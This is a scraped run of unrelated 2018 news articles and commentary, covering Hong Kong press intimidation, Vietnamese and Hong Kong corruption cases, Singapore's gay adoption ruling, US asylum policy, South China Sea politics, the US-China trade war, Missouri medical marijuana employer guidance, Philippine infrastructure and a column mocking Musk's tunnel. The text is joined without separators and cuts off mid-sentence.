has written extensively on Chinese nationalism -- on Wednesday accused the paper of trying to intimidate him or people he speaks to, telling AFP its motivations were not "particularly pure or admirable". If the authorities were trying to scare him away from returning to Hong Kong, that was "not going to happen", Carrico insisted. But he fears it was "Beijing signalling to Hong Kong to refuse me entry next time" or "intimidating people away from speaking with me". That, he admitted, "could happen, considering how tense things are in Hong Kong now". In Beijing, Chinese foreign ministry spokeswoman Hua Chunying dismissed Carrico's allegations as "preposterous and absurd". - 'Patriotic hoodlums' - Beijing has sought to tighten its grip on the semi-autonomous city following mass pro-democracy protests in 2014. Since then, key protest leaders have been charged while a string of pro-democracy lawmakers were stopped from sitting in the Hong Kong legislature. Earlier this year, a small pro-independence party was banned on national security grounds, and a British journalist who hosted a press club talk with that party's leader had to leave the city after his visa renewal was suddenly denied. Hong Kong was handed back to China by Britain in 1997 and still enjoys freedom of speech and other rights unseen on the mainland. But critics have been stopped from coming to the city. Last year, British human rights activist Benedict Rogers was denied entry on arrival at the airport, prompting London to seek an explanation. Carrico said he fears the paper has now made him a possible target for "patriotic hoodlums" from gangs with links to the Chinese Communist Party when he does return. "The Wen Wei Po is essentially an intelligence service masquerading as a paper and should be shut down," he said. In a statement issued Thursday, Wen Wei Po defended its article, saying it was built around "clear facts" that "complied with usual news reporting rules and skills". The paper accused Carrico of making "false accusations" and attacking press freedom, adding it reserved the right to pursue legal action against the academic. In July this year, Ta Kung Pao -- a sister paper to Wen Wei Po -- followed pro-independence activist Andy Chan during a holiday to Taiwan. A fugitive spy was jailed for a second time in Vietnam Thursday after a court convicted him for "abuse of power" for pilfering more than $8 million from a bank in a share-buying scheme. Phan Van Anh Vu was convicted as Vietnam's communist government widens a corruption crackdown that has already seen dozens of former high-flying officials, executives and businessmen put behind bars. The former property developer turned runaway spy is already serving eight years after he was convicted in July for "divulging state secrets". That conviction came after he was arrested in Singapore and swiftly sent back to Vietnam to face trial earlier this year. On Thursday, a court in Ho Chi Minh City found him guilty of abuse of power in a separate trial linked to the partially state-owned Dong A Bank, Vu's lawyer told AFP. He was jailed for 17 years while the bank's former general director Tran Phuong Binh got life. "Vu insists that he was not guilty and he will appeal," his attorney Nguyen Huu The Trach told AFP. Binh allegedly instructed Vu to sign a falsified document that said Vu purchased $8.7 million worth of stocks in Dong A Bank, when in fact he pocketed it. Vu paid the money back this year, his lawyer said. Vu grabbed headlines when he was arrested in Singapore carrying two passports -- one of which was fake -- while passing through the city state en route to Europe. Vu's conviction shocked many in conservative Vietnam because of his links to the powerful Ministry of Public Security (MPS), long believed to be untouchable. But several other MPS-linked officials have been targeted as a hardline administration makes good on a promise to clean up the graft-prone country. The anti-corruption campaign initially zeroed in on the state-run oil industry, but has since expanded to security, banking and land sectors. Earlier this week, the former CEO head of the state-run PetroVietnam Exploration Production Corp was arrested for allegedly "abusing power to appropriate property", according to MPS. Observers say the anti-graft crackdown -- which echoes Beijing's anti-corruption drive -- is aimed at cleaning up the notoriously crooked country, but may also be aimed at eliminating political foes. Transparency International ranks Vietnam 107 out of 180 countries on its corruption index, behind Thailand, Indonesia and China. PHOTO: Getty Images The landmark High Court decision on Monday (17 December) to allow a gay Singaporean man to adopt his biological son is likely to set the stage for the Singapore government to clarify and adapt its stance on surrogacy and the adoption of children born through such arrangements, regardless of whether it is by singles, heterosexual couples or homosexual couples. Minister for Social and Family Development Desmond Lee said on Wednesday (19 December) that while the Court had decided to grant the adoption, it also recognised that the adoption violates the public policy against the formation of same-sex family units. The Court also found a lack of evidence that the man had set out to deliberately violate it, noted Lee. After the publication of this judgment it may be harder for future applicants doing the same to argue that they did not intentionally set out to do so. Ministry studying grounds of decisions carefully Since the ruling, concerns have been raised about the implications of the case and whether it sets a precedent for the formation of same-sex families here. Lee said his ministry is studying the grounds of decision carefully before deciding on the next steps. We will review our adoption laws and related policies, to see if they should be amended and further strengthened, he said. LGBT persons have a place in Singapore society. At the same time, the Government supports and encourages parenthood within marriage, and does not support the formation of same-sex family units. This is the position that MSF takes in assessing adoption applications. The judges recognised that granting the adoption would go against our public policy against the formation of same-sex family units. However, they decided to grant the adoption after balancing this against the interests of the childs welfare. The Court emphasised that their decision was based on the particular facts of this case. Policy against surrogacy unclear The three-judge High Court panel noted that there is nothing in the law requiring single adoption applicants to be heterosexual. They added that it is unclear what the governments policy against surrogacy is and, if there is, what that policy would be. Story continues Chief Justice Sundaresh Menon also urged the government to take a stand soon, stating that there is a case for some urgency lest the Court continues to place significant weight on the childs welfare in future judgments. Sociologist Tan Ern Ser from the National University of Singapore told Today that not clarifying or changing laws surrounding the ethically complex and morally fraught issue of surrogacy and the linked issue of adoption could mean that every application would be a long and tedious process. Given that other couples may be encouraged to seriously consider the surrogacy option now that the landmark case had opened a door, he said the policies ambiguity will be to the detriment of the childs welfare. Law professor Eugene Tan from Singapore Management University believes that the Government will likely endeavour to disconnect the surrogacy issue with the ongoing debate over same-sex rights and Section 377A of the Penal Code, which criminalises consensual sex between adult men. Its main objective would then be to properly manage the expectations of couples, whether homosexual or heterosexual, with regard to surrogacy, he told Today. Surrogacy arrangement made in the US The biological father and his partner, both Singaporeans aged 46, had cohabited for 13 years, and was told by the Ministry of Social and Family Development that it was unlikely to recommend adoption by a homosexual couple. The man then travelled to the United States, where his sperm was used to impregnate the egg of an anonymous donor via in-vitro fertilisation. A surrogate mother carried the embryo to term for US$200,000 (S$267,680) and gave birth to the boy in 2013. Although not explicitly outlawed, such a surrogacy arrangement is not allowed in hospitals here. The man, who works as a pathologist, then took the boy to Singapore. His bid to adopt him, and thereby get him Singapore citizenship, was rejected by a district judge last year before his successful appeal on Monday. All adoption applications are assessed on a case-by-case basis taking into account the best interests of the child, the MSF said in a previous statement. The factors that it would consider include the applicants parenting capacity, parenting beliefs, family circumstances, support network and ability to meet the childs long-term needs. It had backed 10 of 14 adoption bids that involved surrogacy procedures performed overseas between 2008 and 2018, although the provision of such services is illegal here. The accepted cases involved married couples who were infertile. Related story: MSF to mull if changes to adoption law needed following gay Singaporeans successful High Court appeal Lawmakers to question Hong Kongs justice secretary on decision not to prosecute former chief executive CY Leung Hong Kongs Secretary for Justice will be questioned by lawmakers next month on her decision not to charge former chief executive Leung Chun-ying, it emerged on Wednesday. The news came as a former Director of Public Prosecutions criticised Teresa Cheng Yeuk-wah and her department for not answering even the most basic of questions about the case. While pro-government camp lawmakers said Cheng should only be asked about prosecution policy when she attends the Legislative Council meeting on January 28, pan-democrats said they would press for more answers on the Leung investigation. Last Wednesday, the Department of Justice cleared the former Hong Kong leader of corruption in relation to receiving HK$50 million from Australian engineering conglomerate UGL between 2012 and 2013, when he was serving as the citys top official. The department issued a brief statement, which did little to explain the legal principle behind its decision, and why UGLs payment to Leung did not constitute a conflict of interest. Nor did the department seek any independent legal advice before reaching its final decision. The anti-corruption body, the Independent Commission Against Corruption, said on Tuesday that it had left no stone unturned in its four-year investigation, and concluded the case was investigated in an impartial manner. Despite demands by pan-democrats to summon Cheng to a special Legco meeting to explain the decision, the panel on administration of justice and legal services has decided to question her at next months regular meeting. The pro-establishment lawmakers said the legislature should not intervene with prosecutorial decisions. If the justice chief wishes to respond, she could choose an appropriate setting, but not a Legco panel that normally focus on policy, said Starry Lee Wai-king, of the Democratic Alliance for the Betterment and Progress of Hong Kong. But Democratic Party lawmaker Lam Cheuk-ting said they would press Cheng on why she chose not to seek independent legal advice, and what else the Independent Commission Against Corruption had uncovered during its investigation. Story continues Cheng is on leave until December 26, and in response to questions from the Post, the department said it would not be appropriate to comment given a judicial review had been filed to challenge the decision. Grenville Cross, the citys former top prosecutor, said while it made sense for the department not to comment on the merits of Leungs case given the judicial review, there was no basis for Cheng not to answer basic questions, such as whether she had been personally involved in the decision not to prosecute. Even though the justice secretary is on leave, Cross said Cheng and her department could release the information to clear the air as soon as possible. [Director of Public Prosecutions] Mr David Leung can undoubtedly brief her and obtain her agreement to the release of the information, given the high levels of public concern that is being generated, Cross said. He also noted that it took the authorities more than four years to close the Leung investigation, more than the three years and six months taken in the bribery case involving another former chief executive, Donald Tsang Yam-kuen, Given the lengthy process, Cross said: The public was entitled to a comprehensive statement by the DOJ which clearly set everything out, including the evidence, the legal issues and the conclusions, and not a short and perfunctory statement which raises more questions than it answers. Cross said a comprehensive legal analysis was required in politically sensitive cases such as this to dispel any suggestion of preferential treatment, and to protect the department from unjustified criticism. However, given its superficiality, the statement issued in this case [of Leung and UGL] may actually do more harm than good, he said. This article Lawmakers to question Hong Kongs justice secretary on decision not to prosecute former chief executive CY Leung first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2018. Lunaticoutpost.com is a participant in the Amazon Services LLC Associates Program , anaffiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.Amazon, the Amazon logo, MYHABIT, and the MYHABIT logo are trademarks of Amazon.com, Inc. or its affiliates.Don't be a pest to the forum.No profanity in thread-titles or usernamesNo excessive profanity in postsNo Racism, Antisemitism + HateNo calls for violence against anyone..This website exists for fun and discussion only. The reader is responsible for discerning the validity, factuality or implications of information posted here, be it fictional or based on real events. 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REUTERS/Leah Millis By Yeganeh Torbati and Anthony Esposito WASHINGTON/MEXICO CITY (Reuters) - The United States will soon send non-Mexican migrants who cross the U.S. southern border back to wait in Mexico while their U.S. asylum requests are processed, a major change in immigration policy, the Trump administration announced on Thursday. Immigrant advocates and human rights experts quickly denounced the policy change as illegal and violating the rights of refugees. Mexico's government said that it would accept some of those migrants for humanitarian reasons, in what many will see as an early concession to U.S. President Donald Trump's administration by Mexico's new president, Andres Manuel Lopez Obrador, who took office on Dec. 1. "We want to discourage those who are claiming asylum fraudulently," U.S. Homeland Security Secretary Kirstjen Nielsen told a congressional committee on Thursday, describing the plan. In response to the plan, Mexico's foreign ministry underscored that it still has the right to admit or reject the entry of foreigners into its territory. "Mexico's government has decided to take the following actions to benefit migrants, in particular unaccompanied and accompanied minors, and to protect the rights of those who want to start an asylum process in the United States," the foreign ministry said. But there appeared to be initial confusion within the Mexican government about the plan. Tonatiuh Guillen, who as head of Mexico's National Migration Institute regulates migration in the country, said at a news conference on Thursday that the country would not be able to receive migrants from other countries until the regulatory framework had been established. We can't begin to operate, we can't begin to receive. We are not in a place to receive," he said. "When will we able to do it? When the regulatory issues and operational issues are resolved," he said. Department of Homeland Security officials told reporters on condition of anonymity that the Mexican government has said asylum seekers would have access to attorneys in Mexico and that migrants would be able to enter the United States for their court hearings, without giving more details about how the process would work. Story continues "Operationally this will look a little bit different at different ports of entry simply based on what the infrastructure is like in the area," said one official. "We are not implementing this on the entire U.S. border all at once." Nielsen said the new policy will not apply to Central American unaccompanied children, who have some special protections under U.S. law. The administration is invoking a section of the Immigration and Nationality Act allowing the government to return migrants to a foreign country bordering the United States pending their immigration proceedings. "We remain convinced that this is a power that the president was granted by Congress to execute exactly the way we have," U.S. Secretary of State Mike Pompeo said in an interview with Fox News show host Laura Ingraham. "We've had lots of thought and legal review of this. We are confident that we are on firm ground." But the section of law being used by the Trump administration exempts anyone who is found inadmissible at the border because of a lack of documents, rather than for a criminal conviction, said Stephen Legomsky, a professor at the Washington University School of Law in St. Louis and a former senior DHS official during the Obama administration. "That means the exemption to that section would apply to virtually every asylum seeker at the border," he said. 'NOT A SAFE COUNTRY' Serious doubts remain over whether Mexico can keep vulnerable asylum seekers safe. Authorities are investigating the deaths of two Honduran teenagers kidnapped and killed in the border city of Tijuana last weekend. Immigrant and human rights advocates swiftly denounced the new policy, saying it violated international law and would put migrants at further risk. "Make no mistake Mexico is not a safe country for all people seeking protection," said Amnesty International Executive Director Margaret Huang. "Many people seeking asylum in the United States face discrimination, exploitation, sexual assault, murder, or the possibility of being disappeared while travelling through Mexico or while forced to wait for extraordinarily long times in Mexican border towns." Trump tweeted on Nov. 24 that migrants at the U.S.-Mexico border would stay in Mexico until their asylum claims were individually approved in U.S. courts. But Kennji Kizuka of the nonprofit group Human Rights First said serious questions remain about implementation of the plan. "The administration seems to have no plan," Kizuka said in a statement. "Will lawyers be able to visit their clients before hearings? Where will those hearings take place? We know that access to counsel is one of the most important factors in whether or not an asylum seeker is able to live in safety in the United States." The arrival of several thousand Central Americans in Tijuana about a month ago prompted Trump to mobilise the U.S. military to beef up border security. At the same time, the Trump administration has restricted the number of asylum applications accepted per day, saying they do not have the capacity to process more. Illegal crossings at the southern border have dropped dramatically since the late 1970s, but in recent years applications for asylum have ballooned and more Central American families and unaccompanied children are migrating to the United States. (Reporting by Anthony Esposito and Yeganeh Torbati, additional reporting by Julia Love, Mica Rosenberg and Kristina Cooke; Editing by Christine Murray and Jonathan Oatis) A Philippine lawmaker has proposed a bill to honour an international courts ruling in favour of Manila in its maritime dispute with Beijing in the South China Sea, saying the move would boost national pride. Gary C. Alejano, of the Magdalo Party-List, wants a working holiday to commemorate a verdict in The Hague on July 16, 2016, that concluded that China had no legal basis to claim historic rights to much of the South China Sea, known in the Philippines as the West Philippine Sea. It is my hope that by declaring as a special working holiday the 12th of July we can inspire Filipinos and promote national pride, Alejano told the South China Morning Post on Thursday. The bill was received by the Philippines House of Representatives on December 18. This is also in response to the sentiment of the people dissatisfied with how the government is handling the issue of the West Philippine Sea, he added. Alejano is a former Marine captain and fierce critic of President Rodrigo Duterte. His party, the Magdalo Party-List, represents retired personnel of the Armed Forces of the Philippines and their families. His proposed bill specifically refers to the Permanent Court of Arbitration (PCA) rejection of Chinas nine-dash line claims, which demarcates hundreds of miles to the southeast of the Chinese island of Hainan and covers some 90 per cent of the disputed waters. The PCA ruled that the claims had no basis under international law. Beijing boycotted the hearing and has vowed to ignore the UN-backed tribunals decision, saying it had no jurisdiction over the dispute. China will never accept any claim or action based on those awards, President Xi Jinping of China said at the time. Indonesia opens military base on edge of South China Sea The 2016 ruling was welcomed by other Southeast Asian nations. The Philippines, Vietnam, Malaysia, Brunei and Taiwan have conflicting claims with China in parts of the South China Sea. The government of Vietnam, which is in a dispute with China over the Paracel and Spratly Islands, came out with strong support of the ruling at the time. Story continues If House Bill No. 8809 is signed into law, the Philippines Department of Education and Commission on Higher Education would be required to include the history of events leading to the Philippines historic win against China in their curriculums. The Department of Foreign Affairs would be mandated to plan and implement activities for West Philippine Sea Victory Day. The bill must go through three rounds of reading before it is voted on by the House of Representatives. If it receives majority approval, the bill will go through the same process in the Senate. Barring any conflicting provisions, the bill will be sent to the president for approval. The bill is unlikely to become law, at least in the 17th Congress, Alejano said, referring to the current session of the Philippines legislature. The present congress is nearing its end and as such, rallying the bill throughout the Lower House and up to the Senate is a highly insurmountable task, Alejano said. We also have to take into account that the Duterte administration has sidelined the arbitral ruling, so we can expect him and his allies to have at best, a lukewarm reception to my proposal. Alejanos proposed bill might once set him at odds with Duterte, who critics say has bowed to China in the South China Sea. In November, he said that China was already in possession of the South China Sea, and that military drills by the US were derailing maritime talks between Beijing and its neighbours, according to reports. US-China tensions could spill into confrontation in 2019, observers say This wouldnt be the first time Alejano has clashed with Duterte. He lodged the first impeachment complaint against Duterte in March 2017, alleging that Duterte committed bribery, murder and other illegal acts both as president and as the former mayor of Davao City. The Justice Committee of the House of Representatives, which is controlled by Duterte allies, voted unanimously on in May 2017 to dismiss the complaint on the basis that Alejano had no personal knowledge of his allegations. This article Philippine lawmaker wants holiday to honour South China Sea ruling in favour of Manila first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2018. More from South China Morning Post: RIYADH (Reuters) - Saudi Arabia announced on Thursday the creation of three new government bodies aimed at improving the kingdom's intelligence operations in the wake of the murder of journalist Jamal Khashoggi. The new organisations are meant to ensure that intelligence operations align with Riyadh's national security policy, international law and human rights treaties, state news agency SPA reported. (Reporting By Nayera Abdallah, writing by Stephen Kalin, editing by Andrew Heavens) Chinese President Xi Jinping's trade war strategy is getting more complicated, with slowing growth and disagreements about his approach within the Communist Party adding new battlefronts, according to analysts. With the clock ticking since December 1 on a 90-day deadline to reach a deal with the United States, China has only made superficial peace offerings as it tries to buy time to shore up its economy, analysts said. The lack of a clear direction suggests dissent from within the party leadership "since the summer", Jean-Pierre Cabestan, a political science professor at Hong Kong Baptist University, told AFP. There are "fierce divisions" in the leadership on "how to handle the trade war with the US and how to relaunch reforms, and whether to relaunch reforms or not," he said. "I don't think they've settled the disputes." Xi vowed Tuesday to press ahead with reforms as the party celebrated the 40th anniversary of its landmark "reform and opening up" policy. But Xi, who has accumulated titles to become China's most powerful leader since Mao Zedong, warned that no one would "dictate" China's development path and that it would "resolutely not reform what shouldn't and can't be changed". Steve Tsang, head of the China Institute at the School of Oriental and African Studies in London, said the lack of a regular autumn plenum of the party's Central Committee -- a platform to discuss reforms -- signalled Xi was "avoiding such issues" and "suggest Xi is feeling pressure over the trade war and the slowing economy." "As Xi takes charge of practically all major policy areas, discomfort in the upper echelons of the party over the trade war and the economy cannot but imply discomfort with the direction he was leading China." - Government not trustworthy? - Data last week showed that consumer spending grew at its slowest pace in 15 years in November while factories eased up. Growth is expected by the government to ease to around 6.5 percent this year, down from 6.9 percent in 2017. Over the weekend, a prominent economist told a university forum that the lack of clear trade strategies have led to an uncertainty among investors. "What is the fundamental problem? Fear of policy uncertainty, fear that the government is not trustworthy," said Xiang Songzuo, an economics professor at the elite Renmin University. Censors have since taken the speech off Chinese social media and references to it can no longer be found on the Twitter-like Weibo. Measures to stabilise growth are expected to top the agenda this month at the party's annual Central Economic Work Conference, which sets the policy direction for next year, the state-run Global Times reported. Tsang said plans to reduce risks in the financial system and tackle pollution and poverty -- priorities set for 2018 -- have been shelved, at least in part, to support economic stability and growth, due to the roiling trade spat. The US is seeking a massive reduction in its trade deficit with China as well as deeper reforms in Beijing to stop the alleged theft of intellectual property and further open the economy to foreign companies. China has been promising changes for years, but reform has been slow. As the two sides prepare for face-to-face talks, China has resumed soybean purchases and has suspended extra tariffs on US cars that were imposed as part of tit-for-tat measures. But those steps are merely reverting to pre-tariff trade patterns rather than actual reforms, financial advisory firm Northern Trust wrote in a research note. - 'Pain threshold' - The United States has also voiced concern about "Made in China 2025", an ambitious plan to dominate key high-tech industries. While Beijing has toned down the rhetoric about the programme, the government is likely reluctant to put its pet project on the negotiating table. "There are some cosmetic changes being made to the language of 'Made in China 2025', but it remains to be seen to what extent fundamental changes will be made to this development strategy," said Louis Kuijs, head of Asia economics at Oxford Economics Ltd. The truce has put a temporary halt to an increase in tariffs on $200 billion worth of Chinese goods and a threat of duties on the remaining $246 billion in Chinese products the United States imports each year. "In reality, Beijing is using the deal between Xi and Trump to buy time, hoping that the 90 days deal will in fact last longer," Tsang said. But it appears China is gearing up for a bruising. "Beijing (is) focused on exploring what price would satisfy Trump enough to ease off on the trade war," Tsang said. "It is also calculating that its pain threshold is much higher than that of the US." Page Content Missouri voters approved Amendment 2 on Election Day 2018, one of the three medical marijuana measures appearing on the state's ballot. Amendment 2 adds an article to the Missouri Constitution legalizing medical use of marijuana for qualifying patients and allowing people who qualify to grow their own plants. With a new law comes new questions about how this development will affect workplaces across the state. Here are a series of the most common questions Missouri employers may have while adjusting to this new reality. What Is Amendment 2? Amendment 2 makes Missouri one of the 33 states in the country that have legalized marijuana to some degree. Amendment 2 does not change federal law, which continues to classify marijuana as illegal under the Controlled Substances Act, even if it is used for medical reasons. Under the new Missouri law, qualified patients who have approval from their physician will receive identification cards from the Missouri Department of Health and Senior Services that will allow them and their registered caregivers to grow up to six marijuana plants and purchase at least four ounces of cannabis from dispensaries on a monthly basis. The list of medical conditions for which medical marijuana use will be permitted is broad and somewhat open-ended. Qualifying medical conditions include specific conditions or symptoms related to or side-effects from, the treatment of cancer, epilepsy, glaucoma, HIV, intractable migraines unresponsive to other treatment and any terminal illness, as well as a litany of chronic medical conditions and psychiatric disorders such as Crohn's disease, autism, Alzheimer's disease and post-traumatic stress disorder, to name just a few. Should any of your employees or applicants have one of the qualifying conditions or, in the professional judgment of their physician, have a debilitating or other medical condition, they may be a qualifying patient eligible to apply for a medical marijuana identification card. Do I Have to Let My Employees Work While High? No. Missouri employers may continue to enforce their drug-free workplace policies prohibiting employees from working under the influence of marijuana even after the new law takes effect. In fact, employers will be pleased with the express language in Amendment 2 which provides a safety net for employers. The new law specifically prohibits employees from filing claims against Missouri businesses for wrongful discharge, discrimination or similar causes of action based on the employer prohibiting the employee from being under the influence of marijuana while at work or disciplining the employee for working or attempting to work while under the influence of marijuana. Therefore, it is important to review your policies to ensure the language expressly prohibits working under the influence of medical marijuana. Can Employees Consume Marijuana at Work? No. The express language of the amendment also prohibits public use of marijuana. In addition to enforcing your drug-free workplace policy, you can also similarly adjust other policy language prohibiting smoking, ingesting or otherwise consuming marijuana at the workplace in any form (such as vapor, edibles or oils). Can I Still Drug Test Applicants and Employees? Yes. It is important to understand that the new law does not prevent you from drug testing potential or current employees. If you have a drug testing policy and practice, you should continue to follow that policy and enforce your disciplinary policies as you would no matter what kind of illegal drug shows up in the individual's system. If you employ individuals in safety-sensitive positions or other jobs that require drug testing under federal or state guidelines, you will almost certainly want to continue your current drug testing practices. In some cases, you may be required to do so under federal law, such as the Department of Transportation (DOT) regulations. In other cases, you will want to do so in order to avoid the risk of having one of your employees cause an accident involving members of the public, co-workers, or simply themselves, which could lead to devastating consequences and employer liability. In fact, the Missouri law specifically states, "nothing in [the law] permits a person to operate, navigate, or be in actual physical control of any dangerous device or motor vehicle, aircraft or motorboat while under the influence of marijuana." Is There a Way to Test Employees for Marijuana Impairment? Maybe. The rub here is that testing for marijuana impairment or influence hasn't caught up with the laws. Employees may test positive for marijuana but not be "impaired" if they consumed marijuana days or weeks before. This stems from the fact that marijuana's active ingredientTHCstays in the bloodstream well after consumption, sometimes for weeks at a time. This is much different from testing for alcohol impairment, which passes through a person's bloodstream at a much quicker rate. While it may be unfortunate that you cannot adequately test for marijuana impairment, that does not mean that you cannot test for and subsequently discipline workers who simply have THC in their system while at work. An alternative approach is to train your managers to spot the signs of marijuana impairment at work. While you are not asking them to become drug detectives, they should be able to recognize the telltale signs of marijuana impairment: red eyes, lethargic demeanor, lack of coordination, confusion and lack of focus. Just as managers have been trained to objectively identify the signs of alcohol impairment at work, managers should do the same for marijuana use. Make sure they are aware of their responsibility when it comes to reasonable suspicion testing procedures, whether it includes documenting their findings and directly sending the employee for testing or otherwise informing human resources of the situation. Is Medical Marijuana Use a Reasonable Accommodation in Missouri? It's too soon to tell. Amendment 2 does not address this issue and we cannot predict how a Missouri court would rule in cases involving reasonable accommodations for qualified patients using medical marijuana. Although the answer is left open to debate, employers will need to explore "what-if" scenarios. For example, will you extend reasonable accommodations to medical-marijuana-using applicants or employees who happen to have the drug in their system while on duty at work or while submitting to a prehire drug test, despite the fact that they do not appear "high" at work or during the prehire drug test process? Given that this conundrum could run into direct conflict with your zero-tolerance drug policy, you will need to decide how to respond to these inevitable situations. The employer-friendly language allowing employers to discipline or terminate an employee for working under the influence of marijuana may provide some guidance as the inevitable litigation will unfold resolving this question. For now, Missouri employers will have to take lessons from other states until our courts rule on whether permitting the use of medical marijuana is a reasonable accommodation under the state law prohibiting disability discrimination. Unfortunately, other states are divided on this particular issue, and it is difficult to predict how our courts will rule on the issue. When Will the New Law Take Effect? The election results still need to be certified by the Secretary of State's office before the law will become official, which is expected to take place on or around Dec. 6. The Missouri Department of Health will then be tasked with developing regulations to implement the law, and the process needs to be completed by June 2019. At that point, however, additional administrative requirements might mean that another six months might pass before medical marijuana cards can be issued. In other words, you might not see your first applicant or employee with a valid medical marijuana card until late 2019 or even early 2020. Although that seems like a long time from now, it will be here before you know it, so you should begin the process of preparing as soon as possible. Here are some recommended steps to take: Revise employee handbooks and drug-testing policies. Determine applicable DOT regulations. Review any federal government contracts. Train managers to identify marijuana impairment. Train managers to have conversations with employees regarding medical marijuana. Carefully consider medical marijuana-related accommodation requests. Lauren M. Sobaski is an attorney with Fisher Phillips in Kansas City, Mo. 2018 Fisher Phillips. All rights reserved. Reposted with permission. Transportation Secretary Arthur Tugade The Department of Transportation said it is pursuing the development and rehabilitation of Metro Rail Transit Line 3 system through an unsolicited proposal submitted by Metro Pacific Investments Corp. We are still in talks with them [MPIC]. I want lock, stock and barrel. I want to include the issue of equity and loans, Transportation Secretary Arthur Tugade said.The Transportation Department in September 2017 granted the original proponent status to MPIC, which submitted the unsolicited bid for the rehabilitation and O&M of MRT 3. The consortium of MPIC and Ayala Corp. submitted an unsolicited proposal to DOTr to upgrade and rehabilitate MRT 3 system for P12.5 billion. The consortium is also looking at buying out the stake of the government and private investors in MRT 3. The government through Land Bank of the Philippines and the Development Bank of the Philippines own a combined 80-percent economic interest in MRT 3, while the balance is held by creditors of Metro Rail Transit Corp. MPIC in 2011 offered to buy out the shares of Land Bank of the Philippines and Development Bank of the Philippines in MRT 3 for $1.1 billion.MPIC-Ayala Group earlier said it was expecting to take over the O&M of MRT 3 in six months from the submission of its application as the original proponent to the government in July. MPIC also submitted a proposal to the Department of Transportation in 2011 to invest $524 million to rehabilitate and upgrade MRT 3. The Aquino administration, however, rejected Metro Pacifics offer that would involve raising commuter fares. MRT 3, which runs along Edsa from North Avenue in Quezon City to Taft Avenue in Pasay City, serves over 500,000 passengers a day, beyond its rated capacity of 350,000. The line has a fleet of 73 Czech-made air-conditioned rail cars. The Department of Information and Communications Technology on Thursday signed an agreement with Isoc Infrastructures Inc. to construct common telecom towers nationwide. Isoc is led by businessman Michael Cosiquien, co-founder of Megawide Construction Corp. Isoc is the first to submit a proposal on common telco towers, and we recognize their determination and commitment to pursue this to help push the objective of providing faster, more reliable and affordable internet and telco services to the Filipino people, DICT acting Secretary Eliseo Rio said. Rio said the MOU was just in time for the entry of the third telecom player and was a part of the over-all plan to improve telco services nationwide. The MOU is a commitment for both parties to assist in the common tower scheme where the DICT commits to facilitate the permitting and regulatory process, help identify and provide sites for the towers such as public buildings, government lots, among others, he said. Isoc committed commits to work with the telecom companies in the roll-out of their improvement and expansion plans, especially for those areas that are in immediate need of access and connectivity. The MOA will take effect for a period of 12 months from signing. Cosiquien, chairman of Isoc Infra, said he was optimistic that the tower-sharing model would be beneficial not only to the telecom operators but also to government. The MOU with the DICT is proof of our strong desire to invest in improving the telco infrastructure in the country and to help contribute to the development of this industry with the telco providers as our partners, Cosiquien said.Cosiquien earlier said that his company would build 25 towers nationwide in seven years for P100 billion. The company committed to invest about P20 billion in the first three years. The common tower scheme is expected to provide the necessary infrastructure to help improve the countrys communication channels. Isoc Infra submitted its proposal in July to build a network of telecommunication towers nationwide that can be commonly shared by the existing and incoming telco players. Telecom companies such as Globe and Smart can lease the towers and free up their capital and resources to further improve their network services, effectively lowering the cost of telco services for consumers. Rio said the government would sign similar agreements to anyone else who wanted to be a common tower provider. He also said the proposed common tower policy was put on hold. This will more or less be a temporary solution while we are trying to finalize a common tower policy, Rio said. Tower sharing is an existing business model in the telecom industry that has been proven effective in Southeast Asia, the United States and other parts of the world. Elon Musks vision for the future of mass transit has arrived, and its amazing. Amazing that Americas favorite polymath, a man who is simultaneously launching rockets into space and working to abolish the internal combustion engine, could devote so much time and energy to a project that amounts to a Rube Goldberg machine for getting from here to there. (Underground. Tracks. Wheel attachments. Car elevators.) On Tuesday, Musk invited celebrities and journalists into the mile-long tunnel his Boring Company has dug in Hawthorne, California, where they were driven in a Tesla along a track at 50 miles per hour. Like a car but without the freedom of movement, like a train without capacity, Musks creation is the transportation hybrid from hell. Advertisement From Laura Nelson at the Los Angeles Times: Advertisement Advertisement Advertisement The trip through the tunnel took about two minutes, illuminated by the cars headlights and a strip of blue neon lights tacked to the ceiling. The car rode on two molded concrete shelves along the wall, which were so uneven in places that it felt like riding on a dirt road. In Curbed, Alissa Walker describes Musk at his Muskiest, delivering off-the-cuff riffs about his plans for the project. Gone are the skate pods that were set to carry pedestrians and vehicles. (Remember when this project was all about public transit?) In their place are tracking wheels to hold the car in place. One recurring joke in media coverage of Silicon Valley is the conceit that the nations recipients of venture capital money are merely rebranding tried-and-true concepts with sans-serif fonts and Facebook integration. (Congratulations Lyft, you invented a bus.) This is not an iteration of that joke. This is a bona fide new idea that is so evidently a downgrade in transportation and mobility its no surprise no one thought of it before. A car! On a track! Underground! Advertisement Advertisement Remember the Nickolodeon television show CatDog, in which one lovable, crazy creature was composed of the front of a cat and the front of a dog? Imagine CatDog, but instead with the animals butts. Musk has melded the train and the car to create the transportation equivalent of butt-butt. Advertisement Musk claims the next step for his tunnel is transporting 4,000 vehicles an hour at 155 mphor more than one car passing each second at twice the highway speed limit. Look, hes the rocket scientist, but does that seem plausible to you? Even if that were possible, and every car were full, Musk would be moving 20,000 people an hour along a fixed track from Point A to Point Babout half what the London Undergrounds Victoria Line can manage today. Which raises the question: If your goal is to move a large number of people from Point A to Point B, underground, well maybe Elon needs to take a vacation to London. Advertisement Advertisement Advertisement As hard as it is to imagine such a system in operation, its even harder to imagine the network of light-speed elevator shafts that would be required to lift and let down a vehicle every second. Or the ramps required to allow those vehicles to accelerate to join the flow of traffic or the means of egress in case of an accident or, or, or. Why are we still talking about this? There is one arena in which to hold out hope, however: that Musk has made a substantial advance in tunnel technology. He has not fulfilled his promise to tunnel fasterthe 6,000-foot tunnel took 18 months to dig, a distance that a state-of-the-art tunnel-boring machine could clear in eight. But he may have done so at a bargain price: a measly $10 million, he says. But that doesnt include research, development, or equipment, according to the Los Angeles Times, and its not clear if it includes land acquisition or labor. (Musk has been using SpaceX to fund the Boring Company, to the consternation of some of the former companys investors, according to the Wall Street Journal.) In conclusion, urban transportation is not rocket science. What job could a disgraced billionaire with sexual assault allegations possibly get? Stephen Colbert has an idea. Following the news that former CBS Chairman Les Moonves would not receive his $120 million severance from the media company, the Late Show host addressed the networks decision and reminded the audience that billionaires with similar allegations have seemed to land on their feet. In his New Yorker expose earlier this year, Ronan Farrow revealed several allegations of sexual assault against Moonves, who worked at CBS for 23 years. The CBS Board of Directors has determined that it will not pay 